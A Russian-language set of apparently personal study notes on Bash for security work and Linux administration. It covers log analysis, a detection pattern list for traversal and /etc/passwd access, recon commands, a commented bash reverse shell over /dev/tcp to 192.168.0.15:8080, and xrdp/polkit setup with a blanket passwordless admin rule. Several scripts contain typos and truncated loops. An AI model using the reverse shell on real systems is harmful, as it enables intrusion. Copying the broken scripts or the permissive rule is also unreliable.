file title.png Сценарий typesearch.sh #!/bin/bash # Описание: # Поиск в файловой системе файлов указанного типа. # Выводим путь, когда найдем # Использование: # typesearch.sh [-c dir] [-i] [-R|r]# -c Копировать найденные файлы в каталог # -i Игнорировать регистр # -R|r Рекурсивный поиск подкаталогов # Шаблон типа файла для поиска # Путь для начала поиска DEEPPORNOT="-maxdepth 1" # только текущий каталог; по умолчанию while getopts 'c:irR' opt; do case "${opt}" in c) # копировать найденные файлы в указанный каталог COPY=YES DISTDIR="$OPTARG" ;; i) # игнорировать регистр при поиске CASEMATCH='-1' ;; [Rr]) # рекурсивно unset DEEPPORNOT;; *) # неизвестный/неподдерживаемый вариант # при получении ошибки mesg от gretops просто выйти exit 2;; esac done shift $((OPTIND -1)) PATTERN=${1;-PDF document} STARTDIR=${2:-.} # по умолчанию начать здесь find $STARTDIR $DEEPORNOT -type f | while read FN do file $FN | egrep -q $CASEMATCH "$PATTRERN" if (( $? ==0 )) # найден один then echo $FN if [[ $COPY ]] then cp -p $FN $DESTDIR fi fi done
Поиск по хеш-значению
hashsearch.sh #!/bin/bash # Описание: # В указанном каталога выполняем рекурсивный поиск # файла по заданному SHA-1 # Использование: # hashsearch.sh# hash - значение хеша SHA-1 разыскиваемого файла # directory - каталог для поиска HASH=$1 DIR=${2:-.} # cmd, по умолчанию это сдесь # конвертируем путь в абсолютный function mkabspath() { if [[ $1 == /* ]] then ABS=$1 else ABS="$PWD/$1" fi } find $DIR -type f | while read fn do THISONE=$(sha1sum "$fn") THISONE=${THISONE%% *} if [[ $THISONE == $HASH ]] then mkabspath "$fn" echo $ABS fi done
Обработка данных:
sed
tail
tr
файл awkuser.txt:
Mike Jones
John Smith
Kathy Jones
Jane Kennedy
Tim Scott
awk - фактически комбайн для обработки текста
-f - читать указанный файл
$0 - вся строка
$1 - первое слово
$2 - второе слово
$N - и т.д.
Пример:
awk '$2 == "jones" {print $0}' awkusers.txt
файл username.txt:
1,jdoe
2,puser
3,jsmith
файл accesstime.txt:
0745,file1.txt,1
0830,file3.txt,2
0830,file22.txt,3
join - объединяет строки из двух фалов с общими полями
-j - использовать указанный номер поля. Поля начинаются с 1
-t - символ, который будет использоваться в качестве разделителя
--header - использовать в качестве заголовка
Пример:
join -1 3 -2 1 -t, accesstime.txt username.txt
файл ips.txt
ip,OS
10.0.4.2,Windows 8
10.0.4.35,Ubuntu 16
10.0.4.107,macOS
10.0.4.145,macOS
sed - редактирование и замена текста в потоке файлов
Пример:
sed 's/10\.0\.0.\.35/10.0.4.27/g' ips.txt
tail - вывод последних строк файла
-f - выполнять постоянный мониторинг файлов и выходных строк по мере их добавления.
-n - вывести указанное кол-во строк
Пример:
tail -n 1 ips.txt
tr - преобразование одного символа в другой или отображения замещающего символа.
-d - удалить указанные знаки из входного потока
-s - уплотнить, то есть заменить повторяющиеся экземпляры символа одним экземпляром
Пример:
tr '\\:' '/|' < infile.txt > outfile.txt
Пример файла csvex.txt
"name","username","phone","password hash"
"john Smith", "jsmith","545-555-1212",234u923923u9u9fho8fgw87g8w7
"Bill Smith", "bsmith","555-555-1512",s99ds9uewurwyroyrdsyhfdishf
"Jane Smith", "jsmith","155-555-1212",qwepiju0sdfjm238rh30r8j2p0w
"john LAH", "bjones","525-555-1212",odjfohsohfio7bhbfsodsbodfsbds
"Yohn Ymith", "ymith","355-555-1212",kdskldfsdshuidyusbhudshdfsy3
cut - используется для извлечения из входного файла или потока,
полей разделенных указанным символом. (попробуйте echo 'abc def ghi jkl' | cut -d ' ' -f2,2 прим. пер.)
cut - показать содержимое вырезав символы
cut -c 1,4,7 name.txt - показать содержимое вырезав символы
cat /etc/passwd | cut -f 1,3,6 -d ':' - показать содержимое 1,3,6 столбика вырезав 2,4,5 разделенные символом ':'
Примеры:
cut -d',' -f1 csvex.txt
cut -d',' -f1 csvex.txt | tr -d '"'
cut -d',' -f1 csvex.txt | tr -d '"' | tail -n +2
awk -F "," '{print $4}' csvex.txt
grep "$(awk -F "," '{print $4}' csvex.txt)" passwords.txt
cut -d',' -f3 csvex.txt | cut -c2-13 | tail -n +2
grep -o '.*<\/firstName>' book.xml
grep -Pzo '(?s).*?<\/author>' book.xml
grep -Po '.?<\/firstName>' book.xml | sed 's/<[^>]*>//g'
grep -o '"firstName": ".*"' book.json
grep -o '"firstName": ".*"' book.json | cut -d " " -f2 | tr -d '\"'
jq - это мощный легкий и JSON-анализатор
jq '.title' book.json
jq '.authors[].firstName' book.json
Агрегирование данных:
find /data -type f -exec grep '{}' -e 'ProductionWebServer' \;
-exec cat '{}' >> ProductionWebServerAgg.txt \;
join -t, -2 2 ips.txt user.txt
Ссылка:
https://rapidcyberops.com/
Анализ данных:
sort - сортировка текстового файла -r - сортировка по убыванию -f - игнорировать регистр -n - использовать числовой порядок 1, 2, 3 и т.д. -k - сортировать на основе подмножества данных (ключа) в строке -o - записать вывод в указанный файл -u - фильтр уникальности Пример: sort -k 3 file1.txt sort -k 2.5,2.7 file1.txt uniq - отфильтровать повторяющиеся строки -c - вывести, сколько раз повторяется строка -f - перед сравнением проигнорировать указанное кол-во полей -i - игнорировать регистр букв
Ознакомление с журналом доступа к веб серверу Apache2
CLF - Combined Log Format
cat access.log
192.168.15.53 - - [11/Jul/2025:15:09:25 +0300] "GET / HTTP/1.1" 200 3380 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36"
192.168.15.53 - - [11/Jul/2025:15:09:25 +0300] "GET /icons/openlogo-75.png HTTP/1.1" 200 6040 "http://192.168.15.167/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36"
192.168.15.53 - - [11/Jul/2025:15:09:25 +0300] "GET /favicon.ico HTTP/1.1" 404 492 "http://192.168.15.167/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36"
Что мы видим:
Поле Значение Описание
1 192.168.15.53 ip хоста который запросил страницу у веб сервера
2 - идентификатор протокола RFC 1413 (-, если его нет)
3 - идентификатор пользователя с проверкой подлинности HTTP (-, если его нет)
4 [11/Jul/2025:15:09:25 +0300] Смещение даты, времени и GMT (часовой пояс)
5 GET / Страница которая была запрошена
6 HTTP/1.1 Версия протокола HTTP
7 200 Код состояния, возвращаемый веб-сервер
8 3380 Размер возвращаемого файла в байтах
9 - Ссылающаяся страница
10 Mozilla/5.0 Браузер
Коды:
200 - OK - Хорошо
401 - Unauthorized - Не авторизован \ не предоставляется
404 - Page Not Found - Страница не найдена
500 - Internal Server Error - Внутренняя ошибка сервера
502 - Bad Gateway - Плохой, ошибочный шлюз
Ссылки:
https://www.iana.org/assignments/http-status-codes/http-status-codes.xhtml
https://httpd.apache.org/docs/2.4/logs.html
cat /var/log/apache2/access.log | sort -k2.1 -rn | head -15
Подсчет количества обращений к данным:
cat countem.sh
#!/bin/bash -
#
# Описание:
# Подсчет количества экземпляров элемента с помощью bash
# Использование:
# countem.sh < inputfile
declare -A cnt # ассоциативный массив
while read id xtra
do
let cnt[$id]++
done
# вывести то, что мы подсчитали
# для каждого ключа в ассоциативном массиве в виде (ключ, значение)
for id in "${!cnt[@]}"
do
printf '%d %s\n' "${cnt[$id]}" "$id"
done
Пример countem.awk:
# countem.awk
# Описание:
# Подсчет количество экземпляров элемента с помощью команды awk
# Использование:
# countem.awk < inputfile
awk '{ cnt[$1]++ }
END {for (id in cnt) {
printf "%d %s\n", cnt[id], id
}
}'
Оба сценария хорошо будут работать в конвейере:
cut -d' ' -f1 logfile | bash countem.sh
bash countem.sh < logfile
awk '$9 == 404 {print $1}' access.log | bash countem.sh
cut -d' ' -f1 access.log | bash countem.sh | sort -rn
P.S. Но все это круто конечно, юзать скрипты, но проще воспользоваться программами linux
cut -d' ' -f1 access.log | sort | unic -c | sort -rn
cut -d' ' -f1 access.log | sort -urn
Суммирование чисел и данных:
cat summer.sh
#!/bin/bash -
#
# Описание:
# Суммировать итоговое значение поля 2 для каждого уникального поля 1
# Использование: ./summer.sh
# Формат ввода:
declare -A cnt # ассоциативный массив
while read id count
do
let cnt[$id]+=$count
done
for id in "${!cnt[@]}"
do
printf "%-15s %8d\n" "${id}" "${cnt[${id}]}"
done
Использование:
cut -d' ' -f1,10 access.log | bash summer.sh | sort -k 2.1 -rn
Скрипт отображение данных в виде гистограммы:
histogram.sh
#!/bin/bash -
#
# Описание:
# Создание горизонтальной гистограммы с указанным данными
# Использование: ./historgram.sh
# Формата ввода: label value
function pr_bar()
{
local -i i raw maxraw scaled
raw=$1
maxraw=$2
((scaled=(MAXBAR*raw)/maxraw))
# гарантированный минимальный размер
((raw > 0 && scaled ==0)) && scaled=1
for((i=0; i max )) && max=$val
done
# масштабировать и вести
for labl in "${!RA[@]}"
do
printf '%-20.20s ' "$labl"
pr_bar ${RA[$labl]} $max
done
Пример:
cut -d' ' -f1.10 access.log | bash summer.sh | bash histogram.sh
Скрипт отображение данных в виде гистограммы для старых систем и macos:
histogram_plain.sh #!/bin/bash - # # Описание: # Создание горизонтальной гистограммы с указанным данными # Использование: ./histogram_plain # Формата ввода: label value declare -a RA_key RA_val declare -i max ndx max=0 maxbar=50 ndx=0 while read labl val do RA_key[$ndx]=$labl RA_value[$ndx]=$val # сохранить наибольшее значение; для масштабирования (( val > max )) && max=$val let ndx++ done # масштабировать и вывести for ((j=0; jМониторинг журналов в режиме реального времени:
tail -f /var/log/apache2/access.log tail -f /var/log/apache2/access.log | grep '10.0.0.152' tail -f /var/log/apache2/access.log | egrep -i 'HTTP/.*" 404' cd /var/log/apache2/ tail -f access.log | egrep --line-buffered 'HTTP/.*" 404' | cut -d' ' -f4-7Обнаружение вторжения с помощью журнала apache2:
cat > ioc.txt << "EOF" \.\./ etc/passwd etc/shadow cmd\.exe /bin/sh /bin/bash EOF ../ -злоумышленник пытается выйти из текущего каталога рабочего каталога /etc/passwd и другие - пытается получить доступ к паролям системы /sh и другое - пытается вызвать программу tail -f /var/log/apache2/access.log | egrep -i -f ioc.txt tail -f /va/log/apache2/access.log | egrep --line-buffered -i -f ioc.txt | tee -a interesting.txtСканер портов:
cat > scan.sh << "EOF" #!/bin/bash - # Описание: # Сканирование порта указанного хоста # Использование: # ./scan.shСравнение файлов:
sdiff - сравнивает два файла -a - рассматривать все файлы как текстовые -i - игнорировать регистр -s - удалять общие строки для двух файлов -w - определить максимальное кол-во символов для вывода в троке sdiff -s file1.txt file2.txtcurl:
curl -A - для отправки на сервер указать строку агента пользователя HTTP -d - данные для отправки с запросом HTTP POST -G - использовать для отправки данных запрос HTTP GET, а не POST -I - получить только заголовок протокола (HTTP, FTP) -L - следовать за пере направлениями -s - не показывать индикатор выполнения или сообщения об ошибках curl https://google.com Проверка сокращенной ссылки: curl -ILs http://bitly.com/1k5eYPw | grep '^Location:'xxd :
xdd - выводит на экран в двоичном или шестнадцатеричном формате -b - отобразить файл с использованием двоичного, а не шестнадцатеричного формата -l - вывести кол-во байт двоичного или шестнадцатеричного файла -s - начать печать с позиции байта n xdd -s 35 -l 50 somefile.txtРазведка:
Просмотр вебсервера: ftp -n - запретить авто вход на сервер ftp -n 192.168.0.15 ftp 192.168.0.15 ftp 192.168.0.15 60 Просмотр веб сайта: curl -L -o output.html https://www.oreilly.com curl -LI https://www.oreilly.com curl -LIs https://www.oreilly.com | grep '200 OK' Копирование сайта себе: wget -p -m -k -P ./mirror https://digadel.com Самый простой способ перехватить баннер с SMTP сервера: telnet 192.168.0.15 25nc :
nc -l - прослушивать входящие подключения -n - запретить выполнение поиска dns -p - задать исходный порт для подключения и прослушивания -v - установить подробный режим Подключение: nc www.oreilly.com 80 Прослушивания: nc -l -v -n -p 8080Обратный SSH :
ssh -R 12345:localhost:22 user@remoteip ssh localhost -p 12345Бэкдор баш:
/bin/bash -i < /dev/tcp/192.168.0.15/8080 1>&0 2>&0 Здесь: /bin/bash -i - интерактивный режим баша < /dev/tcp/192.168.0.15/8080 - Это создает TCP-соединение с системой злоумышленника по адресу 192.168.0.15, порт 8080 и перенаправляет его в качестве ввода в новой экземпляр баш. 1>&0 2>&0 - здесь происходит перенаправление стандартного вывода (stdout)(файловый дескриптор 1) и стандартного потока ввода (stdin)(дескриптор файла 0) В системе злоумышленника должен слушаться порт 8080 nc -l -v -p 8080
Пример команд:
Создание сетевых пространств (network namespaces): sudo ip netns add Client sudo ip netns add Server Создание виртуальных интерфейсов (veth): Теперь у тебя есть связанная пара интерфейсов (veth-client <-> veth-server). sudo ip link add veth-client type veth peer name veth-server Привязка интерфейсов к namespace: sudo ip link set veth-client netns Client sudo ip link set veth-server netns Server Настройка IP-адресов: sudo ip netns exec Client ip addr add 192.168.1.1/24 dev veth-client sudo ip netns exec Server ip addr add 192.168.1.2/24 dev veth-server Теперь у тебя есть два "виртуальных хоста" (Client и Server), соединенных через veth. В Client и Server прописываешь маршруты: sudo ip netns exec Client ip route add default via 192.168.1.254 sudo ip netns exec Server ip route add default via 192.168.2.254 Список всех network namespaces: sudo ip netns list ls /var/run/netns/ Просмотр интерфейсов внутри конкретного netns: sudo ip netns exec Client ip link show sudo ip -n Client link Просмотр IP-адресов внутри netns: sudo ip netns exec Client ip addr Просмотр таблицы маршрутизации в netns: sudo ip netns exec Client ip route sudo ip -n Client route Проверить ARP-таблицу (соседей): sudo ip netns exec Client ip neigh Если netns нет в списке, но процесс использует его: lsns -t net ps aux | grep "netns" Использование namespace: ip netns execbash ip netns exec Client bash ip netns exec Server bash
Пример скрипта который создаст пространства имен, привяжет интерфейсы к ним, добавит адреса, добавит маршруты:
#!/bin/bash set -x # Создание namespace'ов, если их ещё нет ip netns add Server ip netns add Client echo "setup Server:" ip link set enp1s0f0np0 down ip link set enp1s0f0np0 netns Server ip netns exec Server ip addr add 10.0.12.2/24 dev enp1s0f0np0 ip netns exec Server ip link set enp1s0f0np0 up ip netns exec Server ip link set lo up ip netns exec Server ip route add default via 10.0.12.1 dev enp1s0f0np0 echo "setup Client:" ip link set enp1s0f1np1 down ip link set enp1s0f1np1 netns Client ip netns exec Client ip addr add 10.0.11.2/24 dev enp1s0f1np1 ip netns exec Client ip link set enp1s0f1np1 up ip netns exec Client ip link set lo up ip netns exec Client ip route add default via 10.0.11.1 dev enp1s0f1np1 # Удаление namespace'ов при необходимости # ip netns delete Client # ip netns delete Server
Использование namespace:
Команда: ip netns execbash Пример: ip netns exec Server bash ip netns exec Client bash
Пример сетевые карты разделены на 4 отдельных карточки и проводом подключены Client — Server, без маршрутизации.
#!/bin/bash set -x # Создание namespace'ов, если их ещё нет ip netns add Server ip netns add Server1 ip netns add Client ip netns add Client1 echo "setup Server:" ip link set ens3f0 down ip link set ens3f0 netns Server ip netns exec Server ip addr add 10.0.12.2/24 dev ens3f0 ip netns exec Server ip link set ens3f0 up ip netns exec Server ip link set lo up echo "setup Client:" ip link set enp4s0f0np0 down ip link set enp4s0f0np0 netns Client ip netns exec Client ip addr add 10.0.12.1/24 dev enp4s0f0np0 ip netns exec Client ip link set enp4s0f0np0 up ip netns exec Client ip link set lo up echo "setup Server1:" ip link set ens3f1 down ip link set ens3f1 netns Server1 ip netns exec Server1 ip addr add 10.0.13.2/24 dev ens3f1 ip netns exec Server1 ip link set ens3f1 up ip netns exec Server1 ip link set lo up echo "setup Client1:" ip link set enp4s0f1np1 down ip link set enp4s0f1np1 netns Client1 ip netns exec Client1 ip addr add 10.0.13.1/24 dev enp4s0f1np1 ip netns exec Client1 ip link set enp4s0f1np1 up ip netns exec Client1 ip link set lo up # Удаление namespace'ов при необходимости # ip netns delete Client # ip netns delete Server # ip netns delete Client1 # ip netns delete Server1
Зачем?
xrdp будет работать с xfc4 удаленно kde будем пользовать локально
Установка пакетов:
Консольные утилиты: apt install vim tmux tcpdump curl mc minicom Ставим пакеты для xrdp: apt install xrdp xorgxrdp ssl-cert Установка xfce4: apt install xfce4 xfce4-goodies xfce4-places-plugin task-xfce-desktop Установка kde: apt install kde-full Решение ошибки при подключении по rdp: apt install dbus-x11 Решение проблемы зависания консоли: apt-get remove xscreensaver Дополнительные программы: apt install desktop-telegram vscode golang gparted
Настройки:
0. Отключаем постоянные запросы паролей при настройке под учетной записью из группы admin usermod -aG admin username 0.1 Политики polkit-1 такие полезные vim /etc/polkit-1/localauthority/50-local.d/46-all-allow.pkla ----------------------------------------------------------------------- [Allow ALL from group admin] Identity=unix-group:admin Action=* ResultAny=yes ResultInactive=yes ResultActive=yes ----------------------------------------------------------------------- 0.2 или !!! Вместо auth_admin_keep указываем yes vim /usr/share/polkit-1/actions/org.freedesktop.login1.policy -------------------------------------------------------------------------------------------------------------------------- vim /usr/share/polkit-1/actions/org.freedesktop.NetworkManager.policy --------------------------------------------------------------------- Reboot the system Authentication is required for rebooting the system. yes yes yes org.freedesktop.login1.set-wall-message [...] --------------------------------------------------------------------- P.S Более правильно все таки решить все с помощью pkla 1. Переконфигурируем: dpkg-reconfigure xserver-xorg-legacy - переключаем разрешение для всех 2. Редактируем выбор раскладки vim /etc/xrdp/xrdp_keyboard.ini --------------------------- [default_rdp_layouts] # ищем и убеждаемся что файлы существуют rdp_layout_us=0x00000409 # ищем и убеждаемся что файлы существуют rdp_layout_ru=0x00000419 # ищем и убеждаемся что файлы существуют [layouts_map_ru] rdp_layout_us=ru,us rdp_layout_ru=ru,us [rdp_keyboard_ru] keyboard_type=4 keyboard_type=7 keyboard_subtype=1 ; model=pc105 при необходимости options=grp:alt_shift_toggle rdp_layouts=default_rdp_layouts layouts_map=layouts_map_ru 3. Добавить пользователя xrdp в группу ssl-cert usermod -aG ssl-cert xrdp 4. Выпуск собственного сертификата для XRDP mkdir /etc/xrdp/certificate/ cd /etc/xrdp/certificate/ openssl req -x509 -newkey rsa:2048 -nodes -keyout key.pem -out cert.pem -days 3650 4.1 Подключаем сертификаты отредактировав файл !!! ищем строки (certificate=) и (key_file=) и правим их vim /etc/xrdp/xrdp.ini ---------------------- certificate=/etc/xrdp/certificate/cert.pem key_file=/etc/xrdp/certificate/key.pem ---------------------- 4.2 Изменяем права для файла chown -R xrdp:xrdp /etc/xrdp/certificate/ 5. Запрет авторизации ROOT в XRDP vim /etc/xrdp/sesman.ini ------------------------- [Security] # Авторизация root. true - разрешено false - запрещено AllowRootLogin=false ------------------------- 6. XRDP черный экран при подключении: !!! Баг был при использовании использовании ubuntu, debian 10, debian 11 !!! В окружение KDE !!! Нужно вставить следующие строки в файл /etc/xrdp/startwm.sh !!! unset DBUS_SESSION_BUS_ADDRESS !!! unset XDG_RUNTIME_DIR 6.1 vim /etc/xrdp/startwm.sh ------------------------ #!/bin/sh # xrdp X session start script (c) 2015, 2017 mirabilos # published under The MirOS Licence if test -r /etc/profile; then . /etc/profile fi unset DBUS_SESSION_BUS_ADDRESS unset XDG_RUNTIME_DIR if test -r /etc/default/locale; then . /etc/default/locale test -z "${LANG+x}" || export LANG test -z "${LANGUAGE+x}" || export LANGUAGE test -z "${LC_ADDRESS+x}" || export LC_ADDRESS test -z "${LC_ALL+x}" || export LC_ALL test -z "${LC_COLLATE+x}" || export LC_COLLATE test -z "${LC_CTYPE+x}" || export LC_CTYPE test -z "${LC_IDENTIFICATION+x}" || export LC_IDENTIFICATION test -z "${LC_MEASUREMENT+x}" || export LC_MEASUREMENT test -z "${LC_MESSAGES+x}" || export LC_MESSAGES test -z "${LC_MONETARY+x}" || export LC_MONETARY test -z "${LC_NAME+x}" || export LC_NAME test -z "${LC_NUMERIC+x}" || export LC_NUMERIC test -z "${LC_PAPER+x}" || export LC_PAPER test -z "${LC_TELEPHONE+x}" || export LC_TELEPHONE test -z "${LC_TIME+x}" || export LC_TIME test -z "${LOCPATH+x}" || export LOCPATH fi if test -r /etc/profile; then . /etc/profile fi test -x /etc/X11/Xsession && exec /etc/X11/Xsession exec /bin/sh /etc/X11/Xsession ------------------------ 7. Название подключенной локальной папки в XRDP !!! для корректной работы нужны пакеты !!! apt install gvfs-fuse gvfs-backends libglib2.0-bin vim /etc/xrdp/sesman.ini ------------------------ FuseMountName=Mount_FOLDER ------------------------ 8. Настройка вида окна авторизации XRDP vim /etc/xrdp/xrdp.ini ----------------------- ls_title=YOU SUPER SERVER # заголовок окна сервера ls_top_window_bg_color=000000 # Цвет фона RGB ls_logo_filename=/etc/xrdp/logo_xrdp.bmp #Логотип ; Session types # После этой строки ищем и убираем лишние сессии, оставляем только [Xorg] ----------------------- 9. Отключение screensaver Вариант первый, можно просто его удалить apt-get remove xscreensaver Вариант второй, можно настроить электропитание в настройках экрана 10. После настройки перезапустим xrdp service xrdp restart auth_admin_keep yes yes
.xsession
KDE cat > .xsession << "EOF" startplasma-x11 EOF XFCE4 cat > .xsession << "EOF" startxfce4 EOF
Команда помогающая изменить gui по умолчанию:
update-alternatives --config x-session-manager
config /etc/xrdp/xrdp.ini
[Globals] ; xrdp.ini file version number ini_version=1 ; fork a new process for each incoming connection fork=true ; ports to listen on, number alone means listen on all interfaces ; 0.0.0.0 or :: if ipv6 is configured ; space between multiple occurrences ; ALL specified interfaces must be UP when xrdp starts, otherwise xrdp will fail to start ; ; Examples: ; port=3389 ; port=unix://./tmp/xrdp.socket ; port=tcp://.:3389 127.0.0.1:3389 ; port=tcp://:3389 *:3389 ; port=tcp://:3389 192.168.1.1:3389 ; port=tcp6://.:3389 ::1:3389 ; port=tcp6://:3389 *:3389 ; port=tcp6://{ }:3389 {FC00:0:0:0:0:0:0:1}:3389 ; port=vsock:// : port=3389 ; 'port' above should be connected to with vsock instead of tcp ; use this only with number alone in port above ; prefer use vsock:// : above use_vsock=false ; regulate if the listening socket use socket option tcp_nodelay ; no buffering will be performed in the TCP stack tcp_nodelay=true ; regulate if the listening socket use socket option keepalive ; if the network connection disappear without close messages the connection will be closed tcp_keepalive=true ; set tcp send/recv buffer (for experts) #tcp_send_buffer_bytes=32768 #tcp_recv_buffer_bytes=32768 ; security layer can be 'tls', 'rdp' or 'negotiate' ; for client compatible layer security_layer=negotiate ; minimum security level allowed for client for classic RDP encryption ; use tls_ciphers to configure TLS encryption ; can be 'none', 'low', 'medium', 'high', 'fips' crypt_level=high ; X.509 certificate and private key ; openssl req -x509 -newkey rsa:2048 -nodes -keyout key.pem -out cert.pem -days 365 ; note this needs the user xrdp to be a member of the ssl-cert group, do with e.g. ;$ sudo adduser xrdp ssl-cert ;certificate= ;key_file= certificate=/etc/xrdp/certificate/cert.pem key_file=/etc/xrdp/certificate/key.pem ; set SSL protocols ; can be comma separated list of 'SSLv3', 'TLSv1', 'TLSv1.1', 'TLSv1.2', 'TLSv1.3' ssl_protocols=TLSv1.2, TLSv1.3 ; set TLS cipher suites #tls_ciphers=HIGH ; concats the domain name to the user if set for authentication with the separator ; for example when the server is multi homed with SSSd #domain_user_separator=@ ; The following options will override the keyboard layout settings. ; These options are for DEBUG and are not recommended for regular use. #xrdp.override_keyboard_type=0x04 #xrdp.override_keyboard_subtype=0x01 #xrdp.override_keylayout=0x00000409 ; Section name to use for automatic login if the client sends username ; and password. If empty, the domain name sent by the client is used. ; If empty and no domain name is given, the first suitable section in ; this file will be used. autorun= allow_channels=true allow_multimon=true bitmap_cache=true bitmap_compression=true bulk_compression=true #hidelogwindow=true max_bpp=32 new_cursors=true ; fastpath - can be 'input', 'output', 'both', 'none' use_fastpath=both ; when true, userid/password *must* be passed on cmd line #require_credentials=true ; when true, the userid will be used to try to authenticate #enable_token_login=true ; You can set the PAM error text in a gateway setup (MAX 256 chars) #pamerrortxt=change your password according to policy at http://url ; ; colors used by windows in RGB format ; blue=009cb5 grey=dedede #black=000000 #dark_grey=808080 #blue=08246b #dark_blue=08246b #white=ffffff #red=ff0000 #green=00ff00 #background=626c72 ; ; configure login screen ; ; Login Screen Window Title #ls_title=My Login Title ; top level window background color in RGB format ls_top_window_bg_color=009cb5 ; width and height of login screen ; ; The default height allows for about 5 fields to be comfortably displayed ; above the buttons at the bottom. To display more fields, make ; larger, and also increase and ; below ; ls_width=350 ls_height=430 ; login screen background color in RGB format ls_bg_color=dedede ; optional background image filename. BMP format is always supported, ; but other formats will be supported if xrdp is build with imlib2 ; The transform can be one of the following:- ; none : No transformation. Image is placed in bottom-right corner ; of the screen. ; scale : Image is scaled to the screen size. The image aspect ; ratio is not preserved. ; zoom : Image is scaled to the screen size. The image aspect ; ratio is preserved by clipping the image. #ls_background_image= #ls_background_transform=none ; logo ; full path to file or file in shared folder. BMP format is always supported, ; but other formats will be supported if xrdp is build with imlib2 ; For transform values, see 'ls_background_transform'. The logo width and ; logo height are ignored for a transform of 'none'. ls_logo_filename= #ls_logo_transform=none #ls_logo_width=240 #ls_logo_height=140 ls_logo_x_pos=55 ls_logo_y_pos=50 ; for positioning labels such as username, password etc ls_label_x_pos=30 ls_label_width=65 ; for positioning text and combo boxes next to above labels ls_input_x_pos=110 ls_input_width=210 ; y pos for first label and combo box ls_input_y_pos=220 ; OK button ls_btn_ok_x_pos=142 ls_btn_ok_y_pos=370 ls_btn_ok_width=85 ls_btn_ok_height=30 ; Cancel button ls_btn_cancel_x_pos=237 ls_btn_cancel_y_pos=370 ls_btn_cancel_width=85 ls_btn_cancel_height=30 [Logging] ; Note: Log levels can be any of: core, error, warning, info, debug, or trace LogFile=xrdp.log LogLevel=INFO EnableSyslog=true #SyslogLevel=INFO #EnableConsole=false #ConsoleLevel=INFO #EnableProcessId=false [LoggingPerLogger] ; Note: per logger configuration is only used if xrdp is built with ; --enable-devel-logging #xrdp.c=INFO #main()=INFO [Channels] ; Channel names not listed here will be blocked by XRDP. ; You can block any channel by setting its value to false. ; IMPORTANT! All channels are not supported in all use ; cases even if you set all values to true. ; You can override these settings on each session type ; These settings are only used if allow_channels=true rdpdr=true rdpsnd=true drdynvc=true cliprdr=true rail=true xrdpvr=true tcutils=true driveredir=true ; for debugging xrdp, in section xrdp1, change port=-1 to this: #port=/tmp/.xrdp/xrdp_display_10 ; ; Session types ; ; Some session types such as Xorg, X11rdp and Xvnc start a display server. ; Startup command-line parameters for the display server are configured ; in sesman.ini. See and configure also sesman.ini. [Xorg] name=Xorg lib=libxup.so username=ask password=ask ip=127.0.0.1 port=-1 code=20 ;[Xvnc] ;name=Xvnc ;lib=libvnc.so ;username=ask ;password=ask ;ip=127.0.0.1 ;port=-1 #xserverbpp=24 #delay_ms=2000 ; Disable requested encodings to support buggy VNC servers ; (1 = ExtendedDesktopSize) #disabled_encodings_mask=0 ; Use this to connect to a chansrv instance created outside of sesman ; (e.g. as part of an x11vnc console session). Replace '0' with the ; display number of the session #chansrvport=DISPLAY(0) ; Generic VNC Proxy ; Tailor this to specific hosts and VNC instances by specifying an ip ; and port and setting a suitable name. ;[vnc-any] ;name=vnc-any ;lib=libvnc.so ;ip=ask ;port=ask5900 ;username=na ;password=ask #pamusername=asksame #pampassword=asksame #pamsessionmng=127.0.0.1 #delay_ms=2000 ; Generic RDP proxy using NeutrinoRDP ; Tailor this to specific hosts by specifying an ip and port and setting ; a suitable name. ;[neutrinordp-any] ;name=neutrinordp-any ; To use this section, you should build xrdp with configure option ; --enable-neutrinordp. ;lib=libxrdpneutrinordp.so ;ip=ask ;port=ask3389 ;username=ask ;password=ask ; Uncomment the following lines to enable PAM authentication for proxy ; connections. #pamusername=ask #pampassword=ask #pamsessionmng=127.0.0.1 ; Currently NeutrinoRDP doesn't support dynamic resizing. Uncomment ; this line if you're using a client which does. #enable_dynamic_resizing=false ; By default, performance settings requested by the RDP client are ignored ; and chosen by NeutrinoRDP. Uncomment this line to allow the user to ; select performance settings in the RDP client. #perf.allow_client_experiencesettings=true ; Override any experience setting by uncommenting one or more of the ; following lines. #perf.wallpaper=false #perf.font_smoothing=false #perf.desktop_composition=false #perf.full_window_drag=false #perf.menu_anims=false #perf.themes=false #perf.cursor_blink=false ; By default NeutrinoRDP supports cursor shadows. If this is giving ; you problems (e.g. cursor is a black rectangle) try disabling cursor ; shadows by uncommenting the following line. #perf.cursor_shadow=false ; By default, NeutrinoRDP uses the keyboard layout of the remote RDP Server. ; If you want to tell the remote the keyboard layout of the RDP Client, ; by uncommenting the following line. #neutrinordp.allow_client_keyboardLayout=true ; The following options will override the remote keyboard layout settings. ; These options are for DEBUG and are not recommended for regular use. #neutrinordp.override_keyboardLayout_mask=0x0000FFFF #neutrinordp.override_kbd_type=0x04 #neutrinordp.override_kbd_subtype=0x01 #neutrinordp.override_kbd_fn_keys=12 #neutrinordp.override_kbd_layout=0x00000409 ; You can override the common channel settings for each session type #channel.rdpdr=true #channel.rdpsnd=true #channel.drdynvc=true #channel.cliprdr=true #channel.rail=true #channel.xrdpvr=true
config /etc/xrdp/sesman.ini
;; See `man 5 sesman.ini` for details [Globals] ListenAddress=127.0.0.1 ListenPort=3350 EnableUserWindowManager=true ; Give in relative path to user's home directory UserWindowManager=startwm.sh ; Give in full path or relative path to /etc/xrdp DefaultWindowManager=startwm.sh ; Give in full path or relative path to /etc/xrdp ReconnectScript=reconnectwm.sh [Security] ;AllowRootLogin=true AllowRootLogin=false MaxLoginRetry=4 TerminalServerUsers=tsusers TerminalServerAdmins=tsadmins ; When AlwaysGroupCheck=false access will be permitted ; if the group TerminalServerUsers is not defined. AlwaysGroupCheck=false ; When RestrictOutboundClipboard=all clipboard from the ; server is not pushed to the client. ; In addition, you can control text/file/image transfer restrictions ; respectively. It also accepts comma separated list such as text,file,image. ; To keep compatibility, some aliases are also available: ; true: an alias of all ; false: an alias of none ; yes: an alias of all RestrictOutboundClipboard=none ; When RestrictInboundClipboard=all clipboard from the ; client is not pushed to the server. ; In addition, you can control text/file/image transfer restrictions ; respectively. It also accepts comma separated list such as text,file,image. ; To keep compatibility, some aliases are also available: 